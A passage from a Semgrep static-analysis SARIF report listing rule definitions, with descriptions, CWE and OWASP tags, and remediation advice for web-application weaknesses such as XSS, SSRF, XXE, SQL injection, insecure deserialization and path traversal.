Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","id":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","name":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","id":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","name":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint","id":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","name":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli","id":"java.aws-lambda.security.tainted-sqli.tainted-sqli","name":"java.aws-lambda.security.tainted-sqli.tainted-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sqli.tainted-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n - [https://ractive.js.org/v0.x/0.7/mustaches#variables](https://ractive.js.org/v0.x/0.7/mustaches#variables)\n","text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf","id":"javascript.express.needle.ssrf.ssrf","name":"javascript.express.needle.ssrf.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.needle.ssrf.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","id":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","name":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","id":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","name":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","id":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","name":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"help":{"markdown":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\n","text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","id":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","name":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","properties":{"precision":"very-high","tags":["CWE-451: User Interface (UI) Misrepresentation of Critical Information","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute 